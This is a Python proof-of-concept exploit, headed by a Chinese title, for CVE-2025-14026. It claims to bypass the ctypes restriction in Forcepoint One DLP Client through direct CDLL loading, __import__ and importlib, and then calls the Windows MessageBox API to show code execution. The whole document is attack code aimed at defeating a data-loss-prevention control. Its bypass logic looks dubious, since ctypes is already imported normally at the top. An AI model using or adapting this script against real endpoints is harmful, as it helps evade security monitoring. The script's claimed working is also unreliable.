CVE-2025-14026 Forcepoint One DLP Client Python ctypes限制绕过漏洞

# CVE-2025-14026 PoC - Forcepoint One DLP Client ctypes Bypass # This PoC demonstrates bypassing the Python ctypes restriction in Forcepoint One DLP Client import sys import ctypes def bypass_ctypes_restriction(): """ Attempt to bypass Forcepoint One DLP Client's ctypes restriction """ print("[*] CVE-2025-14026 - Forcepoint One DLP Client ctypes Bypass PoC") print("[*] Target: Forcepoint One DLP Client <= 23.04.5642") # Method 1: Try direct ctypes import (may be blocked) try: lib = ctypes.CDLL('user32.dll') print("[+] Method 1: Direct ctypes access - SUCCESS") return True except Exception as e: print(f"[-] Method 1 failed: {e}") # Method 2: Bypass via __import__ try: ctypes_module = __import__('ctypes') print("[+] Method 2: __import__ bypass - SUCCESS") # Now can use ctypes to call Windows APIs user32 = ctypes_module.CDLL('user32.dll') return True except Exception as e: print(f"[-] Method 2 failed: {e}") # Method 3: Bypass via sys.modules manipulation try: if 'ctypes' in sys.modules: print("[+] Method 3: sys.modules already has ctypes") else: # Try to reload from sys.modules import importlib ctypes_module = importlib.import_module('ctypes') print("[+] Method 3: importlib bypass - SUCCESS") return True except Exception as e: print(f"[-] Method 3 failed: {e}") return False def demonstrate_code_execution(): """ Demonstrate arbitrary code execution after ctypes bypass """ try: # Get MessageBoxA function from user32.dll MessageBox = ctypes.windll.user32.MessageBoxA MessageBox(0, b'CVE-2025-14026 Exploited!', b'ctypes Bypass', 0x01) print("[+] Successfully called Windows API via ctypes!") return True except Exception as e: print(f"[-] API call failed: {e}") return False if __name__ == "__main__": if bypass_ctypes_restriction(): print("\n[!] ctypes restriction bypassed - system vulnerable!") demonstrate_code_execution() else: print("\n[*] No bypass method succeeded or already patched")